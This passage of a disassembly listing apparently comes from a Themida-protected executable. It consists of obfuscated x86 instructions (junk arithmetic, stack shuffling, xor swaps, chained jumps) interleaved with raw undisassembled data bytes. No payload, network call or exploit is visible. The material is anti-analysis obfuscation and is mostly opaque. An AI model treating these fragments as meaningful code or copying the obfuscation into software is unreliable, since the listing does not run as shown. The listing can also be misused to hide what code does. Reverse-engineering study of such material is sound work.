		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	3188h
		jmp	loc_5F4D85
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFAFE0h, 19E8E681h, 0D8E94909h, 28000017h
		dd 241C8BD8h, 249BE9h, 5DE98900h, 8104E9C1h, 0A149D5C1h
		dd 99C18165h, 81304B0Ch, 0C6634DC1h, 47EB8169h,	12F2256h
		dd 47C381CBh, 592F2256h, 2474FF53h, 48F5B04h, 24248B24h
		dd 0FFF82AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F37AD:				; CODE XREF: Themida_:005F0399j
		push	edi
		push	esi
		jmp	loc_5EC84D
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0FFEE7BE9h, 241CF6FFh, 6AF0E99Ch,	2489FFFFh
		dd 0A14AE924h, 0CB81FFFFh, 571F2B02h, 8104E3C1h, 417510F3h
		dd 1AF38152h, 291544D3h, 0E0D15BD8h, 0FFE303E9h, 24048FFFh
		dd 8324248Bh, 34FF04C4h, 240C8B24h, 4C481h, 89500000h
		dd 405E0h, 0E8830000h, 24048704h, 0FFED2BE9h, 486168FFh
		dd 1C890000h, 0CC45E924h, 1BAFFFFh, 0E951CF37h,	0FFFFB04Eh
		dd 0BF243C89h, 4, 0FF7338E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3839:				; CODE XREF: Themida_:005F192Ej
		mov	ebx, 2A253C94h
		sub	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_5F5A51
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 0D83002C4h, 0FF919DE9h, 5FFA01FFh, 970E9h
		dd 4B900h, 4C010000h, 0E9590424h, 0FFFFCAFFh, 0E9242C8Bh
		dd 0FFFF702Dh
; ---------------------------------------------------------------------------


loc_5F3878:				; CODE XREF: Themida_:005EA433j
		mov	ebx, 28h
		push	edx
		mov	edx, 761B3C3Fh
		add	ebx, edx
		pop	edx
		add	ebx, edi
		sub	ebx, 761B3C3Fh
		mov	[ebx], al
		jmp	loc_5F327E
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 30h
		dd 88DDF380h, 0A8C1E9DEh, 34FFFFFFh, 240C8B24h,	0E904C483h
		dd 0FFFFDF4Ch, 4C581h, 0C5810000h, 4, 5C242C87h, 0FFE3B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F38C5:				; CODE XREF: Themida_:005ED50Bj
		push	edi
		sub	esp, 4
		mov	[esp], edx
		push	35A4AA5h
		pop	edx
		xor	edx, 35A4AA4h
		push	3852h
		mov	[esp], edx
		xor	dword ptr [esp], 25451C01h
		pop	edi
		push	esi
		push	edi
		mov	edi, 2B577F32h
		shr	edi, 2
		sub	edi, 0B397A576h
		mov	esi, edi
		pop	edi
		jmp	loc_5F0CEC
; ---------------------------------------------------------------------------
		db 33h
		dd 8EE9240Ch, 64FFFFC1h, 0A3E932FFh, 47FFFF69h,	115BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F3919:				; CODE XREF: Themida_:005ED309j
		xchg	edi, esi
		jmp	loc_5F2D97
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0D82904C4h, 4B6CBD55h, 0FD875A28h, 0FD31D7F7h
		dd 0FFE83DE9h, 242C89FFh, 0FFE517E9h, 0E0C158FFh, 17B0508h
		dd 772D1D4Ch, 5022C354h, 0EF73E95Dh, 0EB80FFFFh, 0E9F328ADh
		dd 418h
; ---------------------------------------------------------------------------


loc_5F3960:				; CODE XREF: Themida_:005F5062j
		pop	ebx
		xor	ebp, edi
		jmp	loc_5F1903
; ---------------------------------------------------------------------------
		dd 7D8368h, 0BC86E900h,	0C481FFFFh, 4, 5824048Fh, 33F068h
		dd 240C8900h, 1BD55h, 0E9890000h, 0FFC8215Dh, 0C8B2434h
		dd 0E2895224h, 4C281h, 0BF570000h, 4, 26E9FA01h, 81000018h
		dd 4C3h, 68555100h, 22D45C45h, 98CD815Dh, 45759C2Dh, 1C581h
		dd 0F5810000h, 73081945h, 0FFFDA4E9h, 896655FFh, 0E98966F5h
		dd 24348B5Dh, 81E68956h, 4C6h, 0C83E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F39EA:				; CODE XREF: Themida_:005F198Ej
		add	eax, ebx
		pop	ebx
		add	eax, ecx
		sub	eax, 7D024488h
		jmp	loc_5F5268
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FFBF10E9h, 5FE95CFFh, 83FFFF90h, 0E9042404h, 0F92h
		dd 0CA23E952h, 9E0DFFFFh, 512C096Eh, 1D60CDB9h,	0E9E1D129h
		dd 0FFFFA564h
; ---------------------------------------------------------------------------


loc_5F3A28:				; CODE XREF: Themida_:005EDA3Bj
		mov	ebp, 1
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5EA3A6
; ---------------------------------------------------------------------------


loc_5F3A3D:				; CODE XREF: Themida_:005F2E11j
		add	esp, 4
		jmp	loc_5F0D84
; ---------------------------------------------------------------------------
		dd 9C240421h, 0FF6865E9h, 0EF895EFFh, 4AEF815Dh, 0E972497Ah
		dd 1425h, 0E9240C89h, 0FFFF96D7h, 685EBB53h, 0EB817AF5h
		dd 4F5902B8h, 3894EB81h, 0B7E966C9h, 0FFFF8Bh, 0B3F7E9CBh
		dd 0E95DFFFFh, 0FFFF7F37h, 665AD028h, 40B050h, 0D730E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3A9A:				; CODE XREF: Themida_:005EEA0Bj
		pop	esp
		mov	[esp], eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5EF46D
; ---------------------------------------------------------------------------
		dw 0FB87h
		dd 0FFA01BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3ABD:				; CODE XREF: Themida_:005F34B5j
		pop	edx
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	117Bh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp


loc_5F3AE7:				; CODE XREF: Themida_:005F2CDFj
		push	ebx
		push	eax
		push	ecx
		mov	ecx, 531C6BCFh
		mov	eax, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4620687Dh
		jmp	loc_5F156C
; ---------------------------------------------------------------------------
a1P		db '\1Ï',0
		dw 0AFE9h
		dd 0BFFFFF67h, 70B20DA0h, 0E005E952h, 0EAC0FFFFh, 5DF28008h
		dd 2AC1E9h, 1C77FF00h, 6658669Dh, 9C240419h, 0FF6789E9h
		dd 240489FFh, 0AB4BBAB8h, 0DDA0E96Ch, 77FFFFFFh, 19589D1Ch
		dd 0E99C2404h, 0FFFF676Eh, 4EC81h, 0D0E90000h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3B53:				; CODE XREF: Themida_:005F2E94j
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, edx
		pop	edx
		jmp	loc_5EB3FB
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C4h, 0E7B85000h,	0E91B5872h, 0FFFFE8AEh
		dd 0C580DD00h, 0EB805B77h, 51EB00D4h, 0DDF634B5h, 0E906E5C0h
		dd 0FFFFA7D8h, 0FF6721E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3B95:				; CODE XREF: Themida_:005EB678j
		mov	dl, 0B3h
		sub	dl, 1Bh
		push	ecx
		push	eax
		jmp	loc_5EE189
; ---------------------------------------------------------------------------
		db 0E9h, 10h, 67h
		dd 0C483FFFFh, 0BA7FE902h, 0C328FFFFh, 0FE2EB151h, 50F180C9h
		dd 12E7E9h, 2434FF00h, 0E289525Ah, 4C281h, 0EA810000h
		dd 4, 0E9241487h, 0FFFFFBDCh, 1CB3B951h, 1CE93B83h, 0BDFFFFA8h
		dd 4, 0FF7D87E9h, 0E9EF01FFh, 0FFFFC56Dh, 92040504h, 0FFAB02E9h
		dd 243C87FFh, 0D7E1E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3C06:				; CODE XREF: Themida_:005EE5E2j
		pop	dword ptr [edi+20h]
		jmp	loc_5F2EC4
; ---------------------------------------------------------------------------
		dw 1429h
		dd 24048124h, 42333F2Eh, 0E92434FFh, 0F41h, 66C82966h
		dd 59077905h, 1FF068h, 240C8900h, 0A2E95954h, 53000003h
		dd 0FF7768E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3C3D:				; CODE XREF: Themida_:005F4A32j
		push	ebx
		mov	ebx, 88BCAD7Dh
		add	ebp, 7185AADh
		sub	ebp, ebx
		jmp	loc_5F245F
; ---------------------------------------------------------------------------
		dd 68665A58h, 89661D2Ah, 0B4502414h, 0E99AB252h, 0FFFFE377h
; ---------------------------------------------------------------------------


loc_5F3C64:				; CODE XREF: Themida_:005F407Bj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5EA75C
; ---------------------------------------------------------------------------
		dd 5659CD01h, 0FF6B20E9h, 77ABB9FFh, 0E9C16431h, 0CEE94905h
		dd 5C000021h, 0EB81C329h, 55DC20B7h, 1FE9C231h,	0F6FFFF66h
		dd 0D708E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3C9E:				; CODE XREF: Themida_:005F11F5j
		sub	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	771Bh
		jmp	loc_5F07A6
; ---------------------------------------------------------------------------
		dd 0E74F90BDh, 246C297Fh, 68E95D04h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F3CC3:				; CODE XREF: Themida_:005F5D13j
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFEB8Dh
; ---------------------------------------------------------------------------


loc_5F3D04:				; CODE XREF: Themida_:005EEB27j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	796Ch
		mov	[esp], ecx
		push	10000h
		pop	ecx
		and	eax, ecx
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 3DAF53F0h
		push	ecx
		mov	ecx, 3DAF53F4h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5EFF8D
; ---------------------------------------------------------------------------
		dd 240C8966h, 2BE6656h,	0FC8BE900h, 48BFFFFh, 4C48124h
		dd 83000000h, 0EC8104C4h, 4, 1C53E9h, 0E9E18900h, 0FFFFBEF3h
; ---------------------------------------------------------------------------


loc_5F3D64:				; CODE XREF: Themida_:005EE6BFj
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5EF17C
; ---------------------------------------------------------------------------
		dd 5AADC380h, 0FFC0B60Fh, 0BF688734h, 89000016h, 1FBD242Ch
		dd 0E922FC7Bh, 0FFFF6EFAh, 81241489h, 4ECh, 48F5400h, 24048324h
		dd 0C2815A04h, 4, 4B850h, 0C2010000h, 8124048Bh, 4C4h
		dd 74FF5200h, 8F5A0424h, 248B2404h, 2434FF24h, 4EC8359h
		dd 89242C89h, 0F078E9E5h, 0D7F7FFFFh, 6EC78147h, 12CBBD7h
		dd 0AF8CE9FEh, 5F54FFFFh, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 0E9243C89h, 23CAh, 0C5815D54h, 4, 8B67E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3E12:				; CODE XREF: Themida_:005EBFBCj
		push	edx
		mov	edx, 24h
		add	edx, edi
		push	ebx
		mov	ebx, 0
		sub	ebx, 55D14DA9h
		add	ebx, edx
		add	ebx, 55D14DA9h
		jmp	loc_5EEA28
; ---------------------------------------------------------------------------
		db 8Bh
		dd 45E92404h, 31FFFF71h, 0F3EDE9EEh, 0E959FFFFh, 2494h
		dd 0A9EE95Ah, 34FF0000h, 33E95A24h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3E57:				; CODE XREF: Themida_:005EA5DBj
		mov	bh, dh
		pop	edx
		push	eax
		jmp	loc_5ED57B
; ---------------------------------------------------------------------------
		dd offset dword_4E6E9C+138CCh
		dd 24248900h, 4BA52h, 54010000h, 595A0424h, 589368h, 24348900h
		dd 0A303C2BEh, 81DEF708h, 5D1DC4EEh, 1EE8138h, 0E9000000h
		dd 0FFFF7842h, 83241C8Bh, 895704C4h, 0E9FB89D7h, 20E0h
		dd 240C8B66h, 0FF942AE9h, 2434FFFFh, 83241C8Bh,	895004C4h
		dd 0A33EE9E0h, 0C801FFFFh, 1CAE959h, 0D5010000h, 0FF8082E9h
		dd 0A1EE81FFh, 5D1F0E06h, 0E904C683h, 0FFFF85AAh
; ---------------------------------------------------------------------------


loc_5F3EDC:				; CODE XREF: Themida_:005EBCE6j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4F41DC2h
		sub	[esp+8], esi
		pop	esi
		jmp	loc_5F30EF
; ---------------------------------------------------------------------------
aPUkms		db 'P,Ukm',0
		db 2 dup(0), 0BEh
		dd 372F03FAh, 0E95EF189h, 0FFFF7CB7h
; ---------------------------------------------------------------------------


loc_5F3F0C:				; CODE XREF: Themida_:005F0BF2j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	0CFAh
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7D396044h
		xor	ebp, 61751813h
		jmp	loc_5F4A25
; ---------------------------------------------------------------------------
		dw 0CB88h
		dd 0BC2C5859h, 0EC81D828h, 4, 0E9241489h, 19F5h, 0CFFEC7FEh
		dd 36E9C7FEh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3F6B:				; CODE XREF: Themida_:005F0F68j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 60924D19h
		jmp	loc_5F1477
; ---------------------------------------------------------------------------


loc_5F3F7C:				; CODE XREF: Themida_:005F1D1Cj
		shl	edx, 1
		push	5CB4h
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		jmp	loc_5EAD83
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 0E9042444h, 0FFFF9AA4h, 0C158C101h, 0D9F703E1h
		dd 5D92E981h, 0C801135Bh, 6CC66859h, 34890000h,	72E95724h
		dd 0C1FFFFDCh, 9DE904E0h, 29FFFFAAh, 78EA81C2h,	58328E34h
		dd 0B951h, 0D1010000h, 0FFA4D7E9h, 4C181FFh, 55000000h
		dd 2BDh, 8BE92900h, 0C483242Ch,	240C3304h, 33240C31h, 248B240Ch
		dd 14896624h, 18BA6624h, 0D031666Bh, 24148B66h,	0E904EC83h
		dd 0FFFF70E5h, 0FF62A1E9h, 241C8BFFh, 4C481h, 0E9530000h
		dd 0FFFFAE38h, 31E95AB6h, 68FFFF74h, 4,	87C2815Bh, 120AB13h
		dd 87BD55DAh, 2920AB13h, 565B5DEAh, 128BE9h, 5AF30800h
		dd 25B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F4051:				; CODE XREF: Themida_:005F1052j
		shl	esi, 8
		push	0
		push	edx
		mov	edx, 70016D3Fh
		add	[esp+4], edx
		pop	edx
		sub	[esp], esi
		sub	dword ptr [esp], 70016D3Fh
		pop	esi
		push	ebx
		mov	ebx, 0CA58FFFCh
		sub	esi, ebx
		pop	ebx
		add	ebp, esi
		pop	esi
		jmp	loc_5F3C64
; ---------------------------------------------------------------------------
		dd 104C483h, 23C781CFh,	0E9126C02h, 0C66h, 0C5568h, 240C8900h
		dd 8ADC51B9h, 0D295E963h, 0E95BFFFFh, 0FFFF7E16h, 0AB6F94BBh
		dd 0F71CE913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F40B2:				; CODE XREF: Themida_:005F4FF7j
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5EBA8C
; ---------------------------------------------------------------------------
		db 1
		dd 0EC60E9FBh, 0F929FFFFh, 240C335Fh, 33240C31h, 248B240Ch
		dd 47DE924h, 68560000h,	2269h, 24048F54h, 1FDBE9h, 4EC8100h
		dd 89000000h, 0E0892404h, 405h,	40500h,	4330000h, 24043124h
		dd 5C240433h, 34FF5453h, 0C4815B24h, 4,	4C381h,	0C3830000h
		dd 241C3304h, 33241C31h, 82E9241Ch, 0FFFFFFDFh,	34FF2434h
		dd 24048B24h, 9E7EE953h, 78BAFFFFh, 109BA66h, 8B082454h
		dd 0C4832414h, 682BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F414A:				; CODE XREF: Themida_:005F4C36j
		add	edx, 0BD802591h
		add	eax, 44062132h
		add	eax, edx
		sub	eax, 44062132h
		pop	edx
		push	65E9h
		mov	[esp], edx
		jmp	loc_5ED4BE
; ---------------------------------------------------------------------------


loc_5F416A:				; CODE XREF: Themida_:005F6352j
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5F4BB0
; ---------------------------------------------------------------------------
aZhsz		db 'ZhZ',0
		align 2
		dw 1C89h
		dd 0B96BB24h, 0DBF7092Fh, 0FF80A7E9h, 8BFE88FFh, 0C481241Ch
		dd 4, 0E8E9F028h, 81FFFFF0h, 4C4h, 243C3300h, 33243C31h
		dd 248B243Ch, 24148924h, 0F7E99C50h, 29FFFF60h,	4CE958C1h
		dd 8BFFFFCAh, 50532424h, 397E9h, 74FF5200h, 8F5A0424h
		dd 0E8E92404h, 41FFFFFFh, 159CE181h, 8149537Ch,	0A60F1FC1h
		dd 0CDC18123h, 2144EBF6h, 0A14BE9CBh, 489FFFFh,	6995B824h
		dd 50482AF2h, 0F7243C87h, 0E461E9D7h, 0D331FFFFh, 0FFD8015Ah
		dd 1C8B2434h, 4C48124h,	0E9000000h, 0FFFFA753h,	4C281h
		dd 0A4E90000h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F422F:				; CODE XREF: Themida_:005EF678j
		dec	cl
		dec	cl
		inc	cl
		shr	cl, 1
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0Ah
		inc	al
		push	edx
		mov	dl, 56h
		and	al, dl
		pop	edx
		xor	al, 37h
		xor	al, 6Bh
		sub	cl, al
		pop	eax
		add	al, 4Ah
		jmp	loc_5F54D5
; ---------------------------------------------------------------------------
		dd 0BD55CB01h, 8235C33h, 0FF6D74E9h, 246C29FFh,	34FF5D04h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 7B2128B2h
		push	ebx
		jmp	loc_5F2BFC
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0C7h
		dd 81771045h, 0AB32D1F3h, 624E6872h, 0C890000h,	75685724h
		dd 5F61067Fh, 2CA3EF81h, 0F9891AC9h, 59CB315Fh,	0E95BD931h
		dd 0FFFFDEEFh, 8124348Bh, 4C4h,	0BA525600h, 455D60FBh
		dd 5D60F9BEh, 8BD63145h, 0C4832414h, 1BC58104h,	15B374Dh
		dd 1BBA52F5h, 295B374Dh, 0C898E9D5h, 8F68FFFFh,	89000052h
		dd 0C968240Ch, 591FED4Ah, 0FFAFDAE9h, 55D831FFh, 0AD4C04BDh
		dd 0E953566Dh, 0FFFFC366h, 18EE685Ah, 0EE90000h, 49FFFFD2h
		dd 9B1DB850h, 0B7E91601h, 5C000006h, 0FFF733E9h, 0E8015BFFh
		dd 83242C8Bh, 0FF5004C4h, 58042474h, 8B24048Fh,	5FE92424h
		dd 5700001Ah, 0C781E789h, 4, 0FF85A5E9h, 81DA01FFh, 312267EAh
		dd 2434FF26h, 4C4815Bh,	81000000h, 2C2h, 24143300h, 0E9241431h
		dd 0FFFF835Bh, 2BB53h, 0EF810000h, 5ABB263Fh, 0FF7FA8E9h
		dd 7DC781FFh, 161C536h,	7DEF81EFh, 5D61C536h, 2C781h, 0A5E90000h
		dd 83FFFF9Ah, 0E6D104C4h, 9DB951h, 76E903CBh, 1FFFF69h
		dd 689CE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F43BA:				; CODE XREF: Themida_:005EF470j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5F0BF1
; ---------------------------------------------------------------------------
		db 81h
		dd 44413CE3h, 0B2E4E90Ah, 0D901FFFFh, 0FFA6CBE9h, 0B85055FFh
		dd 3DA03F93h, 0D1E9C589h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F43EB:				; CODE XREF: Themida_:005ED107j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]


loc_5F43FE:				; CODE XREF: Themida_:loc_5EAD04j
		push	esi
		jmp	loc_5F0EA0
; ---------------------------------------------------------------------------
		dd 40A7B105h, 0E9C2018Dh, 0FFFFC183h, 0E904EC83h, 0FFFFA8BAh
		dd 240C8B66h, 4EC81h, 2C890000h, 0D11DE924h, 0C681FFFFh
		dd 34573AEh, 0FF8E8BE9h, 81F101FFh, 0B71A3CE9h,	0C8E9817Ch
		dd 5E49A70Fh, 2C181h, 0FF510000h, 8B042474h, 0C483240Ch
		dd 0AF4EE904h, 6853FFFFh, 4, 5BDD015Bh,	5C242C87h, 3C8B5457h
		dd 4C48124h, 81000000h,	4C7h, 9C1EE900h, 248BFFFFh, 24148924h
		dd 424268h, 241C8900h, 1691E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F4491:				; CODE XREF: Themida_:005F2746j
		push	edx
		mov	edx, 7B91397Ah
		dec	edx
		inc	edx
		xchg	ecx, edx
		jmp	loc_5EB51A
; ---------------------------------------------------------------------------
		dd 2959CE89h, 0D7015EF7h, 0FF6956E9h, 2CBCB5FFh, 4E800AAh
		dd 0C8B66AAh, 6494E924h, 0DF01FFFFh, 243C875Bh,	0C885665Ch
		dd 5DE8E99Ch, 0C381FFFFh, 7CB55363h, 0EB81C301h, 7CB55363h
		dd 8124048Bh, 4C4h, 8C38100h, 29431769h, 8EB81FBh, 81431769h
		dd 0BC011EEBh, 0B15CE958h, 0DD21FFFFh, 7AC5815Bh, 0E9F1AEFFh
		dd 0FFFFBDF1h
; ---------------------------------------------------------------------------


loc_5F450C:				; CODE XREF: Themida_:005F1DDEj
		xchg	eax, [esp]
		pop	edx
		sub	edx, 7FF400h
		and	eax, edx
		pop	edx
		jmp	loc_5F4E95
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	0CDE904EBh, 81FFFFC5h, 4E9h, 240C8700h
		dd 243C895Ch, 0BD55E789h, 4, 0FF6908E9h, 18022DFFh, 63E93007h
		dd 89FFFF5Dh, 0E956241Ch, 0FFFFB00Dh
; ---------------------------------------------------------------------------


loc_5F455C:				; CODE XREF: Themida_:005ED721j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5EB5B4
; ---------------------------------------------------------------------------
		dd 6E46BE56h, 0EEC15372h, 56C68106h, 811DB870h,	20181AEEh
		dd 0F9EE817Eh, 0E92906CAh, 0FFFFCFDBh
; ---------------------------------------------------------------------------


loc_5F4588:				; CODE XREF: Themida_:005EAD66j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_5F0F66
; ---------------------------------------------------------------------------
		dd offset dword_605268
		dd 24148900h, 0CC885052h, 8A58E688h, 8805244Ch,	8B052474h
		dd 0C4812414h, 4, 4C86D1F6h, 148B0124h,	4C48324h, 0DE30F330h
		dd 1C86F330h, 5CD8E924h, 47B3FFFFh, 0E926B652h,	0FFFFFA61h
; ---------------------------------------------------------------------------


loc_5F45E8:				; CODE XREF: Themida_:005F121Cj
		xchg	edx, [esp]
		jmp	loc_5EC750
; ---------------------------------------------------------------------------
		dd 0DBF649B3h, 944E9h, 0B85000h, 0E909FB21h, 0FFFF6273h
		dd 8B243C87h, 0AAE92424h, 5FFFFFE6h, 2BD55h, 0E8010000h
		dd 0FFD8D9E9h, 0C4835AFFh, 918EE904h, 0D7F7FFFFh, 2817CF81h
		dd 0EFC15FD5h, 54C78106h, 815D606Bh, 0A2F7D7C7h, 5FFE89A9h
		dd 0FF68DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F4645:				; CODE XREF: Themida_:005ECBA3j
		xor	esi, 6AEF7BF7h
		jmp	loc_5F1722
; ---------------------------------------------------------------------------
aPrMiZ4		db 'PRMZ4',9,0
		dw 58C7h
		dd 0FF6DE0E9h, 4C683FFh, 5C243487h, 0FFC750E9h,	4C683FFh
		dd 5C243487h, 244C0166h, 0E9596602h, 0FFFF5C36h, 0E95AD089h
		dd 0FFFFD26Ch
; ---------------------------------------------------------------------------


loc_5F4688:				; CODE XREF: Themida_:005ECCC0j
		push	76D2h
		jmp	loc_5ECF7F
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FF5C15E9h, 65EB81FFh,	0FF1E8C51h
		dd 83582434h, 0C38104C4h, 1CC307DEh, 0E4EB81h, 0EB81428Eh
		dd 0CBC2C6Ch, 0C381C301h, 0CBC2C6Ch, 79AAE950h,	34FFFFFFh
		dd 54515B24h, 82BB5359h, 0E9679519h, 0FFFFCEB9h, 63CEBD55h
		dd 0EF310982h, 83EA815Dh, 17D0243h, 83C281FAh, 0FF7D0243h
		dd 815F2434h, 4C4h, 5E35E900h, 0C683FFFFh, 24348704h, 5324248Bh
		dd 0C381E389h, 4, 8704EB83h, 5FE9241Ch,	52FFFF8Eh, 5488DA88h
		dd 0FF5A0187h, 91E92434h, 89FFFFBBh, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 0FFAF90E9h,	0E18951FFh, 4C181h, 51E90000h
		dd 0BDFFFFC2h, 4, 815DE901h, 4C1h, 240C8700h, 0FC3305Ch
		dd 48FC0B6h, 5B40E987h,	5159FFFFh, 2B9h, 59CE0100h, 10FCE9h
		dd 242C8100h, 7E5F7BA7h, 4EC815Dh, 89000000h, 0BA522404h
		dd 7E5F7BA7h, 0FFFEDFE9h, 240C8BFFh, 1D7D68h, 243C8900h
		dd 0BE56E789h, 5C61578h, 331E681h, 0D6F74C81h, 3F2FF681h
		dd 4FE9450Eh, 57FFFF7Dh, 4BFh, 5FF90100h, 0E9240C87h, 0FFFFD233h
		dd 0A104C581h, 0EB01BA2Fh, 5D2434FFh, 4C481h, 0BA520000h
		dd 575D67B0h, 8CBDE953h, 0F281FFFFh, 673D2F9Dh,	1BAFEA81h
		dd 0E2C1422Dh, 56D2F708h, 178EBD55h, 0E2E95AE8h, 29FFFF9Ch
		dd 8DCE9F3h, 80590000h,	79E975F3h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4823:				; CODE XREF: Themida_:005F5C3Dj
		pop	edx
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5F14A0
; ---------------------------------------------------------------------------


loc_5F4832:				; CODE XREF: Themida_:005F26B6j
		mov	edx, 77957D22h
		add	edx, 25B94C69h
		inc	edx
		xor	edx, 9D28913Bh
		sub	ebx, edx
		pop	edx
		push	ebx
		pop	ecx
		pop	ebx
		rep movsd
		add	esp, [edx+38h]
		push	eax
		mov	eax, 38h
		push	edi
		mov	edi, 5B0B4195h
		add	eax, edi
		jmp	loc_5EE4FC
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 0C8E95658h, 5FFFFF68h, 31240C33h, 0C33240Ch,	4D25C24h
		dd 37E99C24h, 81FFFF5Ah, 6527EFC3h, 27BA5202h, 815C310Bh
		dd 4E5B3AF2h, 0F2814A5Ah, 73B1502Eh, 1AB5EA81h,	0BB530F93h
		dd 7BC93D4Ah, 0E3C1EBD1h, 7845E903h, 0EB81FFFFh, 24DD005Ah
		dd 0DDC0E959h, 575EFFFFh, 1457E9h, 0B4505100h, 3030B587h
		dd 0E95258E5h, 0FFFFDBBDh, 2D08EA81h, 0EA2904C5h, 2D08C281h
		dd 0E95D04C5h, 0FFFF68A7h, 0E924048Bh, 0FFFFD26Dh, 0DBF1E958h
		dd 0ADB5FFFFh, 0E368DDF6h, 8900003Ch, 2AB3241Ch, 0B450DBF6h
		dd 0E9C4FE57h, 0FFFF761Bh, 10B8505Ch, 0E940547Ah, 0FFFFB76Dh
		dd 0DFF7D7F7h, 6D5EF781h, 0FD298235h, 9EDAE95Fh, 55DFFFFh
		dd 5A974F42h, 422DE801h, 5D5A974Fh, 0FFD073E9h,	243C87FFh
		dd 5E85E95Ch, 83ADFFFFh, 148904ECh, 0B833E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4952:				; CODE XREF: Themida_:005ECD79j
		xor	[esp+4], ebp
